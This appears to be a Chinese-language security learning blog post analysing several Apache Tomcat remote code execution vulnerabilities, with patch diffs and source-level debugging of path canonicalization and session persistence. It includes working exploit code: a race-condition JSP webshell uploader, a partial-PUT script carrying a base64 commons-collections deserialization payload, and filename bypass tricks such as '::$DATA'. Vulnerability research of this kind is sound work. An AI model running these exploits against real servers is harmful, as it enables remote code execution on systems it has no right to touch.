Tomcat漏洞学习

屏幕截图 2025-04-20 225839

CVE-2017-12615

漏洞信息

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

影响范围:Apache Tomcat 7.0.0 - 7.0.79

漏洞利用

通过构造特殊后缀名,绕过Tomcat检测。修改GET为PUT上传方式,添加文件名1.jsp/

Java的File对象会将末尾的”/”去掉。

image-20250409233513338

windows下还有

1
2
shell.jsp%20
shell.jsp::$DATA

漏洞分析

在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

漏洞检测

CVE-2020-9484

https://xz.aliyun.com/news/7398?u_atoken=16fd3e3139b0205a8a3b890590559ba5&u_asig=0a472f4317442135720754780e0040

漏洞信息

1
2
3
4
Apache Tomcat 10.x < 10.0.0-M5
Apache Tomcat 9.x < 9.0.35
Apache Tomcat 8.x < 8.5.55
Apache Tomcat 7.x < 7.0.104

无敌坑,windows地址操作不了,也就是目录穿越无法实现。

CVE-2024-50379 / CVE-2024-56337

漏洞信息

由于Windows文件系统与Tomcat在路径大小写区分处理上的不一致,当启用了默认servlet的写入功能(设置readonly=false且允许PUT方法),未经身份验证的攻击者可以构造特殊路径绕过Tomcat的路径校验机制,通过条件竞争不断发送请求上传包含恶意JSP代码的文件触发Tomcat对其解析和执行,从而实现远程代码执行。

看一下修复https://github.com/apache/tomcat/commit/43b507ebac9d268b1ea3d908e296cc6e46795c00

image-20250417114835194

在getResource中加读锁,但是写入之后内存满了自然还是没进缓存,再读任然可以。

CVE-2024-56337 二次修复 官方给出建议:必须设置该属性为

1
false sun.io.useCanonCaches

漏洞利用

网上看到的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import requests
import threading
import sys

SHELL_CONTENT = '''
<% Runtime.getRuntime().exec("calc.exe");%>
'''

# 使用 Event 控制线程终止
stop_event = threading.Event()

def upload_shell(url):
session = requests.Session() # 每个线程使用独立的 Session
print("[+] Uploading JSP shell...")
while not stop_event.is_set():
try:
response = session.put(url, data=SHELL_CONTENT, timeout=3)
# if response.status_code not in (201, 204):
# print(f"[-] Upload failed with status code: {response.status_code}")

except Exception as e:
if not stop_event.is_set():
print(f"[-] Upload error: {str(e)}")

def accessShell(url):
session = requests.Session() # 每个线程使用独立的 Session (session线程不安全)
while not stop_event.is_set():
try:
response = session.get(url, timeout=3)
if response.status_code == 200:
print("[+] Access Success")
stop_event.set() # 触发所有线程停止
return
except Exception as e:
if not stop_event.is_set():
print(f"[-] Access error: {str(e)}")

if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python Poc.py <base_url> <shell_name>")
sys.exit(1)

base_url = sys.argv[1]
shell_name = sys.argv[2]

upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}"
access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}"

print(f"upload_url: {upload_url}")
print(f"access_url: {access_url}")

# 创建上传线程池
upload_threads = []
for _ in range(20):
t = threading.Thread(target=upload_shell, args=(upload_url,))
t.daemon = True # 设置为守护线程
upload_threads.append(t)
t.start()

# 创建访问线程池
access_threads = []
for _ in range(5000):
t = threading.Thread(target=accessShell, args=(access_url,))
t.daemon = True # 设置为守护线程
access_threads.append(t)
t.start()

# 主线程循环检查停止事件
try:
while not stop_event.is_set():
pass
except KeyboardInterrupt:
stop_event.set()
print("\n[!] Stopping all threads due to keyboard interrupt.")

# 等待所有线程完成
for thread in upload_threads + access_threads:
thread.join()

print("\n[!] All threads stopped.")

使用

1
python test.py http://127.0.0.1:8080 shell.jsp

不是哥们,为啥之前可以复现成功,现在不行了。像不像你和一个女生本来可以开启一场甜甜的恋爱,你却总以为机会无限,犹豫后准备开始时,女生已经离开了,你们没有机会了。你只能傻傻站在原地,看着美丽的女生自己却什么做不了。带着遗憾看着时间对她的改变。

漏洞分析

从处理GET请求的入口开始。

1
2
3
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
this.serveResource(request, response, true, this.fileEncoding);
}

看到serveResource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
protected void serveResource(HttpServletRequest request, HttpServletResponse response, boolean content, String inputEncoding) throws IOException, ServletException {
boolean serveContent = content;
String path = this.getRelativePath(request, true);
if (this.debug > 0) {
if (content) {
this.log("DefaultServlet.serveResource: Serving resource '" + path + "' headers and data");
} else {
this.log("DefaultServlet.serveResource: Serving resource '" + path + "' headers only");
}
}

if (path.length() == 0) {
this.doDirectoryRedirect(request, response);
} else {
WebResource resource = this.resources.getResource(path);
boolean isError = DispatcherType.ERROR == request.getDispatcherType();
String requestUri;
if (!resource.exists()) {
// 处理资源缺失
} else if (!resource.canRead()) {
//资源不可读403
} else {
//处理静态资源
}
}
}

看到resources.getResource调用的

1
2
3
4
5
6
7
8
9
10
11
public WebResource getResource(String path) {
return this.getResource(path, true, false);
}

protected WebResource getResource(String path, boolean validate, boolean useClassLoaderResources) {
if (validate) {
path = this.validate(path);
}

return this.isCachingAllowed() ? this.cache.getResource(path, useClassLoaderResources) : this.getResourceInternal(path, useClassLoaderResources);
}

image-20250416162054077

判断是否开启缓存。如果allowLinking标签为ture则开启了缓存。如果此标志的值为true,则将使用静态资源的缓存。 如果未指定,则标志的默认值为true。

https://tomcat.apache.org/tomcat-9.0-doc/config/resources.html

image-20250417085912428

看到开启缓存后调用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected WebResource getResource(String path, boolean useClassLoaderResources) {
if (this.noCache(path)) {
return this.root.getResourceInternal(path, useClassLoaderResources);
} else {
WebResourceRoot.CacheStrategy strategy = this.getCacheStrategy();
if (strategy != null && strategy.noCache(path)) {
//获取path
return this.root.getResourceInternal(path, useClassLoaderResources);
} else {
...
}
return cacheEntry;
}
}
}

->org.apache.catalina.webresources.StandardRoot#getResourceInternal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
   protected final WebResource getResourceInternal(String path, boolean useClassLoaderResources) {
...
while(var6.hasNext()) {
...
while(true) {
...
} while((useClassLoaderResources || webResourceSet.getClassLoaderOnly()) && (!useClassLoaderResources || webResourceSet.getStaticOnly()));

result = webResourceSet.getResource(path);
...
}
}
}
...
}

->org.apache.catalina.webresources.DirResourceSet#getResource

1
2
3
4
5
6
7
8
9
  public WebResource getResource(String path) {
...
if (path.startsWith(webAppMount)) {
File f = this.file(path.substring(webAppMount.length()), false);
...
}
...
}
}

进入file方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected final File file(String name, boolean mustExist) {
if (name.equals("/")) {
name = "";
}
...
} else {
String canPath = null;

try {
canPath = file.getCanonicalPath();
} catch (IOException var6) {
}
...
}
}

进行根据获取path的方法

1
2
3
4
5
6
public String getCanonicalPath() throws IOException {
if (isInvalid()) {
throw new IOException("Invalid file path");
}
return fs.canonicalize(fs.resolve(this));
}

调用canonicalize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public String canonicalize(String path) throws IOException {
//处理path格式
if (!useCanonCaches) {
//没启用缓存
return canonicalize0(path);
} else {
String res = cache.get(path);
//缓存没有
if (res == null) {
...
//前缀缓存也没有
if (useCanonPrefixCache) {
dir = parentOrNull(path);
if (dir != null) {
resDir = prefixCache.get(dir);
if (resDir != null) {
/*
* Hit only in prefix cache; full path is canonical,
* but we need to get the canonical name of the file
* in this directory to get the appropriate
* capitalization
*/
String filename = path.substring(1 + dir.length());
res = canonicalizeWithPrefix(resDir, filename);
cache.put(dir + File.separatorChar + filename, res);
}
}
}
if (res == null) {
res = canonicalize0(path);
...
}
}
return res;
}
}
  • 前缀缓存(prefixCache:专门缓存父目录的规范化结果,适用于多个文件共享同一父目录的场景(如 /a/b/file1/a/b/file2 可复用 /a/b 的缓存)。
  • 全路径缓存(cache:缓存完整路径的最终结果,避免重复计算。

如果没有prefixCache与cache缓存就调用canonicalize0

1
2
private native String canonicalize0(String path)
throws IOException;

这是一个native方法。一个Native Method就是一个java调用非java代码的接口。一个Native Method是这样一个java的方法:该方法是一个原生态方法,方法对应的实现不是在当前文件,而是在用其他语言(如C和C++)实现的文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
JNIEXPORT jstring JNICALL
Java_java_io_WinNTFileSystem_canonicalize0(JNIEnv *env, jobject this,
jstring pathname)
{
jstring rv = NULL;
WCHAR canonicalPath[MAX_PATH_LENGTH];

WITH_UNICODE_STRING(env, pathname, path) {
/* we estimate the max length of memory needed as
"currentDir. length + pathname.length"
*/
int len = (int)wcslen(path);
len += currentDirLength(path, len);
if (len > MAX_PATH_LENGTH - 1) {
WCHAR *cp = (WCHAR*)malloc(len * sizeof(WCHAR));
if (cp != NULL) {
if (wcanonicalize(path, cp, len) >= 0) {
rv = (*env)->NewString(env, cp, (jsize)wcslen(cp));
}
free(cp);
} else {
JNU_ThrowOutOfMemoryError(env, "native memory allocation failed");
}
} else if (wcanonicalize(path, canonicalPath, MAX_PATH_LENGTH) >= 0) {
rv = (*env)->NewString(env, canonicalPath, (jsize)wcslen(canonicalPath));
}
} END_UNICODE_STRING(env, path);
if (rv == NULL && !(*env)->ExceptionCheck(env)) {
JNU_ThrowIOExceptionWithLastError(env, "Bad pathname");
}
return rv;
}

将给定的路径名转换为标准形式(移除冗余的 ...,解析符号链接等)。调用 wcanonicalize() 函数(Windows 特有)执行实际规范化。

wcanonicalize()逻辑中有

1
h = FindFirstFileW(path, &fd);  // 获取当前路径的真实名称

image-20250417102035595

https://learn.microsoft.com/zh-cn/windows/win32/api/fileapi/nf-fileapi-findfirstfilew

由于windows的大小写不敏感,所以搜索jsp会找到JSP。感觉漏洞发现者就是根据这个函数去寻找如何触发的。

获取到文件后返回依然有逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (canPath != null && canPath.startsWith(this.canonicalBase)) {
String absPath = this.normalize(file.getAbsolutePath());
if (absPath != null && this.absoluteBase.length() <= absPath.length()) {
absPath = absPath.substring(this.absoluteBase.length());
canPath = canPath.substring(this.canonicalBase.length());
if (canPath.length() > 0 && canPath.charAt(0) != File.separatorChar) {
return null;
} else {
if (canPath.length() > 0) {
canPath = this.normalize(canPath);
}

if (!canPath.equals(absPath)) {
if (!canPath.equalsIgnoreCase(absPath)) {
this.logIgnoredSymlink(this.getRoot().getContext().getName(), absPath, canPath);
}

return null;
} else {
return file;
}
}
} else {
return null;
}
} else {
return null;
}

来看看canPath = file.getCanonicalPath();与String absPath = this.normalize(file.getAbsolutePath());

其中 abs path 是用户输入的路径拼接处理后的本地绝对路径(不一定必须存在) 其中 can path 是 JRE 类 WinNTFileSystem JNI/cache 处理后得到的路径

为了理解canPath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example;

import java.io.File;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.concurrent.TimeUnit;

public class MyTest {
private static final SimpleDateFormat sdf = new SimpleDateFormat("HH:mm:ss");

public static void main(String[] args) throws Exception {
File file = new File("D:\\java\\apache-tomcat-9.0.89\\webapps\\ROOT\\shell.jsp");
while (true) {
String canonicalPath = file.getCanonicalPath();
System.out.println(sdf.format(new Date()) + "\t" + canonicalPath + "\t" + (file.exists() ? "yes" : "no"));
TimeUnit.SECONDS.sleep(1);
}
}
}

image-20250417105802846

可以看到poc没跑之前是不存在的,后面小写jsp存在了,再到后面获取到的就是大写的JSP了。

这是由于还没有产生缓存所以获取到的是大小写不敏感的小写jsp,后续获取到的是缓存中的大写JSP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
class ExpiringCache {
private long millisUntilExpiration;
private Map<String,Entry> map;
// Clear out old entries every few queries
private int queryCount;
private int queryOverflow = 300;
private int MAX_ENTRIES = 200;

...

synchronized String get(String key) {
//超过300就回收
if (++queryCount >= queryOverflow) {
cleanup();
}
Entry entry = entryFor(key);
if (entry != null) {
return entry.val();
}
return null;
}

...

private Entry entryFor(String key) {
Entry entry = map.get(key);
if (entry != null) {
long delta = System.currentTimeMillis() - entry.timestamp();
if (delta < 0 || delta >= millisUntilExpiration) {
map.remove(key);
entry = null;
}
}
return entry;
}

private void cleanup() {
Set<String> keySet = map.keySet();
// Avoid ConcurrentModificationExceptions
String[] keys = new String[keySet.size()];
int i = 0;
for (String key: keySet) {
keys[i++] = key;
}
for (int j = 0; j < keys.length; j++) {
entryFor(keys[j]);
}
queryCount = 0;
}
}

所以java是会一直有缓存的。那只能消耗掉电脑自身的内存了。所以利用比较困难。

漏洞检测

CVE-2025-24813

漏洞信息

  1. 应用程序启用了DefaultServlet写入功能,该功能默认关闭
  2. 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
  3. 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
  4. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

漏洞影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

看一下diff

https://github.com/apache/tomcat/commit/0a668e0c27f2b7ca0cc7c6eea32253b9b5ecb29c#diff-3f35faae1cd5ab38847d08c8d657c9fd32ba532716588c47296e54e5efb4bc9b

image-20250413192854015

原来保存文件的格式是把/替换成.现在是调用这个方法来生成一个固定后缀为.tmp

image-20250413193630663

还调用了java.io.File.TempDirectory#generateFile生成一个基于随机数的随机文件名。

image-20250413194257112

漏洞利用

环境搭建

修改conf/context.xml

1
2
3
4
5
<Context\>  
<Manager className\="org.apache.catalina.session.PersistentManager"\>
<Store className\="org.apache.catalina.session.FileStore"/>
</Manager\>
</Context\>

conf/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<servlet\>  
<servlet-name\>default</servlet-name\>
<servlet-class\>org.apache.catalina.servlets.DefaultServlet</servlet-class\>
<init-param\>
<param-name\>debug</param-name\>
<param-value\>0</param-value\>
</init-param\>
<init-param\>
<param-name\>readonly</param-name\>
<param-value\>false</param-value\>
</init-param\>
<load-on-startup\>1</load-on-startup\>
</servlet\>

利用脚本

大佬的一键利用脚本(向大佬学习!!):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import base64

def put_request(url, data=None, headers=None, timeout=10, verify=True):
try:
response = requests.put(
url=url,
data=data,
headers=headers,
timeout=timeout,
verify=verify
)
return response
except Exception as e:
print(f"PUT请求发⽣错误: {e}")
return None

def get_request(url, headers=None, timeout=10, verify=True):
try:
response = requests.get(
url=url,
headers=headers,
timeout=timeout,
verify=verify
)
return response
except Exception as e:
print(f"GET请求发⽣错误: {e}")
return None

if __name__ == "__main__":
target_url = "http://127.0.0.1:8080/a/session"
# 序列化的b64
payload = base64.b64decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAGa2V5a2V5c3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABN1cQB+ABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAp2YWx1ZXZhbHVleA==")
range_len = len(payload)
custom_headers = {
"Content-Range": f"bytes 0-{range_len+1}/1200"
}
response = put_request(url=target_url, data=payload, headers=custom_headers)
if response.status_code == 409:
print("[+]⽂件上传成功")
triggle_url = "http://127.0.0.1:8080/"
get_headers = {
"JSESSIONID": ".a"
}
get_response = get_request(url=triggle_url, headers=get_headers)
if get_response:
print("[+]触发Payload")

漏洞分析

采用idea远程调试以调试tomcat。采用调试模式运行。

1
catalina.bat jpda start

把断点打在org.apache.catalina.servlets.DefaultServlet#doPut

image-20250413212203067

这里有个判断range值,这个是range值的来源

image-20250413212921763

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Range

image-20250413213448496

传输的数量/总数。用来分块传输文件内容。

这边来到漏洞代码旁边。

image-20250413213316046

可以看到路径和文件名称

image-20250413213810613

写进来了

image-20250413213922150

接下来就是反序列化的逻辑了。

和CVE-2020-9484触发点一样的,因为CVE-2020-9484只是修了目录穿越。这边就一起调试了。

image-20250413223533088

步入进file方法可以看到拼接得到

image-20250413224234150

弹计算器了

image-20250413224420168

漏洞检测

全部都是利用条件比较苛刻的漏洞。

思考了一下感觉仅依靠一个python写的POC自动化检测比较困难。毕竟涉及到了两个漏洞。是否能读需要用到dns链探测,比较难以整合。

参考:

https://forum.butian.net/article/674

https://mp.weixin.qq.com/s/z6BY_xC4YR4PYHT8LI0u_w

https://boogipop.com/2025/03/13/CVE-2025-24813%20Tomcat%20Session%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%BB%84%E5%90%88%E6%8B%B3/

复盘总结

image-20250417152858792

写了一个漏扫脚本https://github.com/at1ANtic/rei/commit/6ea86d04511427149b0edf5bbcb5bdfeee2562e7